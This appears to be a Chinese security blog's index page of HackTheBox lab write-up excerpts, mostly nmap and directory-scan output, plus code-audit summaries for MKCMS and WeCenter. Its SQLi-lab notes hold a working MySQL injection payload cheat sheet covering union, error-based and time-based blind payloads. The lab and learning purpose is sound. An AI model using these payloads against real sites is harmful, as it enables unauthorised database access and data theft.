安全研究与工程实践

从语雀迁移的技术文章。

HackTheBox：Solidstate笔记

10.10.10.51 信息收集 Nmap 粗略扫描下，发现好几个端口, # nmap 10.10.10.51 Nmap scan report for 10.10.10.51 Host is up (1.0s latency). Not shown: 995 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 110/tcp open pop3 119/tcp open nntp # 扫描全端口 ## Nmap scan report for 10.10.10.51 Host is up (4.8s latency). Not shown: 64192 closed ports, 1337 filtered ports PORT STATE SERVICE VERSION 22/tcp open tcpwrapped | ssh-hostkey: | 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA) | 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA) |_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519) 25/tcp open tcpwrapped |_smtp-commands: solidstate Hello nmap.scanme.org (10.10.16.122 [10.10.16.122]), 80/tcp open tcpwrapped |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Home - Solid State Security 110/tcp open tcpwrapped 119/tcp open tcpwrapped 4555/tcp open tcpwrapped Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1134.71 seconds 首页发现一邮箱，试试爆破 ...

HackTheBox：Postman笔记

10.10.10.160 信息收集 Nmap # nmap 10.10.10.160 -p22,80,6379,10000 -sV -sC -oA scans/allport.nmap --min-rate 1000 Nmap scan report for postman (10.10.10.160) Host is up (0.72s latency). rDNS record for 10.10.10.160: Postman PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: The Cyber Geek's Personal Website 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-server-header: MiniServ/1.910 |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 亚洲这边到HTB欧洲服务器的延时真的高，不指定--min-rate扫全端口要半个多小时，指定了又要丢包，老是扫不到全端口，服气哦 ...

HackTheBox：October笔记(PWN)

信息收集 Nmap root@localhost:~/HTB/october# nmap -p22,80 -sV -sC 10.10.10.16 --min-rate 1000 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 14:48 UTC Nmap scan report for 10.10.10.16 Host is up (0.54s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA) | 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA) | 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA) |_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | http-methods: |_ Potentially risky methods: PUT PATCH DELETE |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: October CMS - Vanilla Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + Server: Apache/2.4.7 (Ubuntu) + Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.21 80端口：弱密码一款叫october的cms，用searchsploit搜索，有一些漏洞，但有效利用还需要确定版本号，去github上看源代码中版本号的位置，存在网页根目录下的composer.json文件中，测试外部无法直接访问，changelog和readme里也无版本信息，作罢。后来拿下了www-data权限后，看到是版本1.0.412 ...

HackTheBox：Grandpa笔记

信息收集 Nmap root@localhost:~/HTB/grandpa# nmap -p- -sV -sC 10.10.10.14 -oA scans/allport.tcp PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 6.0 | http-methods: |_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH |_http-server-header: Microsoft-IIS/6.0 |_http-title: Error | http-webdav-scan: | Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH | WebDAV type: Unknown | Server Type: Microsoft-IIS/6.0 | Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK |_ Server Date: Thu, 23 Apr 2020 13:11:29 GMT Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows 目录扫描 root@localhost:~/HTB/grandpa# dirb http://10.10.10.14 -o scans/dirb.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.14/ ---- ==> DIRECTORY: http://10.10.10.14/_vti_bin/ + http://10.10.10.14/_vti_bin/_vti_adm/admin.dll (CODE:200|SIZE:195) + http://10.10.10.14/_vti_bin/_vti_aut/author.dll (CODE:200|SIZE:195) + http://10.10.10.14/_vti_bin/shtml.dll (CODE:200|SIZE:96) ==> DIRECTORY: http://10.10.10.14/_vti_bin/_vti_aut ...

HackTheBox：OpenAdmin笔记

信息收集 10.10.10.171 Nmap # nmap -A 10.10.10.171 -oA nmap.tcp Nmap scan report for 10.10.10.171 Host is up (0.34s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA) | 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA) |_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 1185/tcp filtered catchpole 2046/tcp filtered sdfunc 2701/tcp filtered sms-rcinfo 2875/tcp filtered dxmessagebase2 24444/tcp filtered unknown Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.1.1 (93%), Linux 3.2 - 4.9 (93%), Android 4.2.2 (Linux 3.4) (93%), Linux 3.10 (92%), Android 4.1.2 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 5900/tcp) HOP RTT ADDRESS 1 354.54 ms 10.10.14.1 2 354.49 ms 10.10.10.171 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ 80端口：enum more -> OpenNetAdmin # dirb http://10.10.10.171/ -o dirb.scan ---- Scanning URL: http://10.10.10.171/ ---- ==> DIRECTORY: http://10.10.10.171/artwork/ + http://10.10.10.171/index.html (CODE:200|SIZE:10918) ==> DIRECTORY: http://10.10.10.171/music/ + http://10.10.10.171/server-status (CODE:403|SIZE:277) ---- Entering directory: http://10.10.10.171/artwork/ ---- ==> DIRECTORY: http://10.10.10.171/artwork/css/ ==> DIRECTORY: http://10.10.10.171/artwork/fonts/ ...

HackTheBox：Cronos笔记

信息收集 NMAP # nmap -sV -sC -Pn -p- --min-rate 1000 -oA scans\alltcp 10.10.10.13 Nmap scan report for 10.10.10.13 Host is up (1.0s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |_ 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Ubuntu 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 80端口没东西。。。 ...

HackTheBox：Bastard 笔记

最近在玩HackTheBox上的靶机，觉得还是可以学到不少东西，下面就由如果也有想玩靶机的师傅，可以去注册个帐号玩玩，它注册的时候也需要完成一个类似CTF的题，还蛮有意思的。 ...

【投稿】MKCMS代码审计小结

原文首发于先知社区MKCMS代码审计小结 - 先知社区 MKCMS V6.2 (以下源码来自网络) MKCMS米酷影视源码6.2开源CMS 下载地址链接：https://pan.baidu.com/s/1cZX5x9SbcXMCMXismfH4ow 提取码：k3ox 备用下载地址：https://www.lanzous.com/ib7zwmh .htaccess ...

SQLi-lab学习笔记

bypass https://xz.aliyun.com/t/7767 ODBC：https://forum.butian.net/share/113 https://www.o2oxy.cn/2772.html 常用payload # 测试！ LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); # UNION BASED ## 列出所有数据库 union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA # 列出数据库test中的所有表(均可用16进制) union select group_concat(TABLE_name) from information_schema.tables where table_schema=`test` # 列出（数据库：test 表：admin ）中所有的字段 union select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=`test` and TABLE_NAME=`admin` UNION SELECT 1,2,group_concat( column_name,0x20)) from information_schema.columns # valid queries id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.schemata) -- + id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.tables where table_schema='security')-- # id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.columns where table_name='users') -- + - 注意：group_concat可以不跟group by，但里面必须跟列名，而不能跟子查询 - 回显常常有长度限制 # ERROR BASED 报错注 updatexml('2',concat('~',(select current_user()),'~'),'2')-- - extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1),'~'));-- - select from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x )x-- - - concat可用concat_ws替代，也可用group_concat整合结果 # BLIND SQL injection 盲注，延时注 id = 1" and sleep(0)='1' -- - id=1" and if(1=1, sleep(3) , 1 ) -- - id=1 and 1=(case when (2=2) then sleep(5) else 1 end) -- # - 盲注似乎只能用是否延时，来确定是否闭合 - case when 后面的语句需要加括号，否则不能成功 # 基本信息 select @@basedir select @@datadir select current_user() select version() select @@version select database() select @@database # POC extractvalue(0X20, concat(0x5c, (VERSION（)),'~'));-- - 报错注入，需要语法无错误才可，该闭合的地方要闭合，如注释符（-- -）得出结论，一般可以用盲注的地方也可以用outfile|dumpfile|load_file. 盲注可分为两类：布尔盲注+基于时间的盲注。因为没有T/F的回显，即从响应上看不出任何差异（响应包括：响应大小/状态码/页内文字），只好采用延时函数, 一般来说，延时函数可以用sleep benchmark，不过下面的文章提到了一种新的延时方式。 ...

WeCenter代码审计

此处为语雀卡片，点击链接查看 WeCenter代码审计针对WeCenter 3.0.1的老版本作代码审计，顺便搞某台~~wecenter~~~~机器（~~学下mvc架构）概览全局的防注入函数，没毛病。不过假如数据库编码为gbk时，可用宽字节搞一波用了mysql_real_escape_string，我们需要在执行sql语句之前调用一下mysql_set_charset函数，设置当前连接的字符集为gbk。否则仍然不能抵御宽字符注入。 ...